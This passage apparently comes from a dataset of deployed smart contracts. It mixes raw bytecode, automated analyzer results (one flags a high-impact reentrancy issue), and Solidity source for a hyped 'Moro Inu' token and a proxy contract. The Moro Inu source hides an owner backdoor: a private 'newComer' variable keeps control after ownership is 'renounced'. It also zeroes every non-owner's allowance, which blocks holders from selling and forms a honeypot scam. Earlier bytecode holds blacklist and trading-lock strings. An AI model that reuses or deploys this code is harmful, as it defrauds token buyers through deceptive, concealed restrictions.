ffffffff166108fc6124046002846127d290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561242f573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124806002846127d290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156124ab573d6000803e3d6000fd5b5050565b60006006548211156124f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ed906136c9565b60405180910390fd5b600061250061281c565b905061251581846127d290919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561255557612554613ccb565b5b6040519080825280602002602001820160405280156125835781602001602082028036833780820191505090505b509050308160008151811061259b5761259a613c9c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561263d57600080fd5b505afa158015612651573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126759190613041565b8160018151811061268957612688613c9c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126f030601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117b1565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016127549594939291906138c4565b600060405180830381600087803b15801561276e57600080fd5b505af1158015612782573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b806127b3576127b2612847565b5b6127be84848461288a565b806127cc576127cb612a55565b5b50505050565b600061281483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a69565b905092915050565b6000806000612829612acc565b9150915061284081836127d290919063ffffffff16565b9250505090565b6000600d5414801561285b57506000600e54145b1561286557612888565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b60008060008060008061289c87612b2b565b9550955095509550955095506128fa86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b9390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061298f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bdd90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129db81612c3b565b6129e58483612cf8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612a4291906138a9565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612ab0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aa79190613667565b60405180910390fd5b5060008385612abf9190613a35565b9050809150509392505050565b600080600060065490506000670de0b6b3a76400009050612b00670de0b6b3a76400006006546127d290919063ffffffff16565b821015612b1e57600654670de0b6b3a7640000935093505050612b27565b81819350935050505b9091565b6000806000806000806000806000612b488a600d54600e54612d32565b9250925092506000612b5861281c565b90506000806000612b6b8e878787612dc8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612bd583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612350565b905092915050565b6000808284612bec91906139df565b905083811015612c31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c2890613769565b60405180910390fd5b8091505092915050565b6000612c4561281c565b90506000612c5c8284612e5190919063ffffffff16565b9050612cb081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bdd90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612d0d82600654612b9390919063ffffffff16565b600681905550612d2881600754612bdd90919063ffffffff16565b6007819055505050565b600080600080612d5e6064612d50888a612e5190919063ffffffff16565b6127d290919063ffffffff16565b90506000612d886064612d7a888b612e5190919063ffffffff16565b6127d290919063ffffffff16565b90506000612db182612da3858c612b9390919063ffffffff16565b612b9390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612de18589612e5190919063ffffffff16565b90506000612df88689612e5190919063ffffffff16565b90506000612e0f8789612e5190919063ffffffff16565b90506000612e3882612e2a8587612b9390919063ffffffff16565b612b9390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612e645760009050612ec6565b60008284612e729190613a66565b9050828482612e819190613a35565b14612ec1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612eb8906137a9565b60405180910390fd5b809150505b92915050565b6000612edf612eda8461395e565b613939565b90508083825260208201905082856020860282011115612f0257612f01613d04565b5b60005b85811015612f325781612f188882612f3c565b845260208401935060208301925050600181019050612f05565b5050509392505050565b600081359050612f4b816141cb565b92915050565b600081519050612f60816141cb565b92915050565b60008083601f840112612f7c57612f7b613cff565b5b8235905067ffffffffffffffff811115612f9957612f98613cfa565b5b602083019150836020820283011115612fb557612fb4613d04565b5b9250929050565b600082601f830112612fd157612fd0613cff565b5b8135612fe1848260208601612ecc565b91505092915050565b600081359050612ff9816141e2565b92915050565b60008135905061300e816141f9565b92915050565b60006020828403121561302a57613029613d0e565b5b600061303884828501612f3c565b91505092915050565b60006020828403121561305757613056613d0e565b5b600061306584828501612f51565b91505092915050565b6000806040838503121561308557613084613d0e565b5b600061309385828601612f3c565b92505060206130a485828601612f3c565b9150509250929050565b6000806000606084860312156130c7576130c6613d0e565b5b60006130d586828701612f3c565b93505060206130e686828701612f3c565b92505060406130f786828701612fff565b9150509250925092565b6000806040838503121561311857613117613d0e565b5b600061312685828601612f3c565b925050602061313785828601612fff565b9150509250929050565b60008060006040848603121561315a57613159613d0e565b5b600084013567ffffffffffffffff81111561317857613177613d09565b5b61318486828701612f66565b9350935050602061319786828701612fea565b9150509250925092565b6000602082840312156131b7576131b6613d0e565b5b600082013567ffffffffffffffff8111156131d5576131d4613d09565b5b6131e184828501612fbc565b91505092915050565b600060208284031215613200576131ff613d0e565b5b600061320e84828501612fea565b91505092915050565b60006020828403121561322d5761322c613d0e565b5b600061323b84828501612fff565b91505092915050565b6000806000806080858703121561325e5761325d613d0e565b5b600061326c87828801612fff565b945050602061327d87828801612fff565b935050604061328e87828801612fff565b925050606061329f87828801612fff565b91505092959194509250565b60006132b783836132c3565b60208301905092915050565b6132cc81613af4565b82525050565b6132db81613af4565b82525050565b60006132ec8261399a565b6132f681856139bd565b93506133018361398a565b8060005b8381101561333257815161331988826132ab565b9750613324836139b0565b925050600181019050613305565b5085935050505092915050565b61334881613b06565b82525050565b61335781613b49565b82525050565b61336681613b5b565b82525050565b6000613377826139a5565b61338181856139ce565b9350613391818560208601613b91565b61339a81613d13565b840191505092915050565b60006133b26023836139ce565b91506133bd82613d24565b604082019050919050565b60006133d5603f836139ce565b91506133e082613d73565b604082019050919050565b60006133f8602a836139ce565b915061340382613dc2565b604082019050919050565b600061341b601c836139ce565b915061342682613e11565b602082019050919050565b600061343e6026836139ce565b915061344982613e3a565b604082019050919050565b60006134616022836139ce565b915061346c82613e89565b604082019050919050565b60006134846023836139ce565b915061348f82613ed8565b604082019050919050565b60006134a7601b836139ce565b91506134b282613f27565b602082019050919050565b60006134ca6016836139ce565b91506134d582613f50565b602082019050919050565b60006134ed6021836139ce565b91506134f882613f79565b604082019050919050565b60006135106020836139ce565b915061351b82613fc8565b602082019050919050565b60006135336029836139ce565b915061353e82613ff1565b604082019050919050565b60006135566025836139ce565b915061356182614040565b604082019050919050565b60006135796023836139ce565b91506135848261408f565b604082019050919050565b600061359c6024836139ce565b91506135a7826140de565b604082019050919050565b60006135bf6028836139ce565b91506135ca8261412d565b604082019050919050565b60006135e26026836139ce565b91506135ed8261417c565b604082019050919050565b61360181613b32565b82525050565b61361081613b3c565b82525050565b600060208201905061362b60008301846132d2565b92915050565b6000602082019050613646600083018461333f565b92915050565b6000602082019050613661600083018461334e565b92915050565b60006020820190508181036000830152613681818461336c565b905092915050565b600060208201905081810360008301526136a2816133a5565b9050919050565b600060208201905081810360008301526136c2816133c8565b9050919050565b600060208201905081810360008301526136e2816133eb565b9050919050565b600060208201905081810360008301526137028161340e565b9050919050565b6000602082019050818103600083015261372281613431565b9050919050565b6000602082019050818103600083015261374281613454565b9050919050565b6000602082019050818103600083015261376281613477565b9050919050565b600060208201905081810360008301526137828161349a565b9050919050565b600060208201905081810360008301526137a2816134bd565b9050919050565b600060208201905081810360008301526137c2816134e0565b9050919050565b600060208201905081810360008301526137e281613503565b9050919050565b6000602082019050818103600083015261380281613526565b9050919050565b6000602082019050818103600083015261382281613549565b9050919050565b600060208201905081810360008301526138428161356c565b9050919050565b600060208201905081810360008301526138628161358f565b9050919050565b60006020820190508181036000830152613882816135b2565b9050919050565b600060208201905081810360008301526138a2816135d5565b9050919050565b60006020820190506138be60008301846135f8565b92915050565b600060a0820190506138d960008301886135f8565b6138e6602083018761335d565b81810360408301526138f881866132e1565b905061390760608301856132d2565b61391460808301846135f8565b9695505050505050565b60006020820190506139336000830184613607565b92915050565b6000613943613954565b905061394f8282613bc4565b919050565b6000604051905090565b600067ffffffffffffffff82111561397957613978613ccb565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006139ea82613b32565b91506139f583613b32565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613a2a57613a29613c3e565b5b828201905092915050565b6000613a4082613b32565b9150613a4b83613b32565b925082613a5b57613a5a613c6d565b5b828204905092915050565b6000613a7182613b32565b9150613a7c83613b32565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ab557613ab4613c3e565b5b828202905092915050565b6000613acb82613b32565b9150613ad683613b32565b925082821015613ae957613ae8613c3e565b5b828203905092915050565b6000613aff82613b12565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613b5482613b6d565b9050919050565b6000613b6682613b32565b9050919050565b6000613b7882613b7f565b9050919050565b6000613b8a82613b12565b9050919050565b60005b83811015613baf578082015181840152602081019050613b94565b83811115613bbe576000848401525b50505050565b613bcd82613d13565b810181811067ffffffffffffffff82111715613bec57613beb613ccb565b5b80604052505050565b6000613c0082613b32565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613c3357613c32613c3e565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f46656573206d75737420626520756e6465722032352500000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f43616e6e6f7420736574206d617857616c6c657453697a65206c6f776572207460008201527f68616e20302e3125000000000000000000000000000000000000000000000000602082015250565b7f43616e6e6f7420736574206d61785478416d6f756e74206c6f7765722074686160008201527f6e20302e31250000000000000000000000000000000000000000000000000000602082015250565b6141d481613af4565b81146141df57600080fd5b50565b6141eb81613b06565b81146141f657600080fd5b50565b61420281613b32565b811461420d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220875ec7f05456b242c4a38ef0eb7c2bf89e9c6778ab6581eae346732c0a5c206164736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
8,389
0xc5cecc2d7b6cf15c5203f5b0a5438197f763481c
/* Welcome to Moro Inu! The wolf goddess has returned with a new target: Surpass all other anime tokens and let the WOLFPACK lead the way! 🎉 Launch: 11. November, 10-11pm UTC 💧 Liquidity: Will be 100% burnt 🔥 Tokens burnt: 50% 🎮 P2E RPG Game „Wolves vs Humans“ launch on 28. November! 🎮 CG and CMC application will be done straight after launch! Taxes: 2% Rewards 2% Liquidity 6% Marketing & development https://moroinu.com/ */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract MoroInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 100* 10**12* 10**18; string private _name = 'Moro Inu'; string private _symbol = ' MORO '; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220c4a98531245a3c161d9c6fb92ec4eb595071d48df196dbcd512956615cd9140e64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
8,390
0xe1e546e25a5ed890dff8b8d005537c0d373497f8
/** *Submitted for verification at BscScan.com on 2021-03-08 */ /** *Submitted for verification at Etherscan.io on 2020-10-09 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ 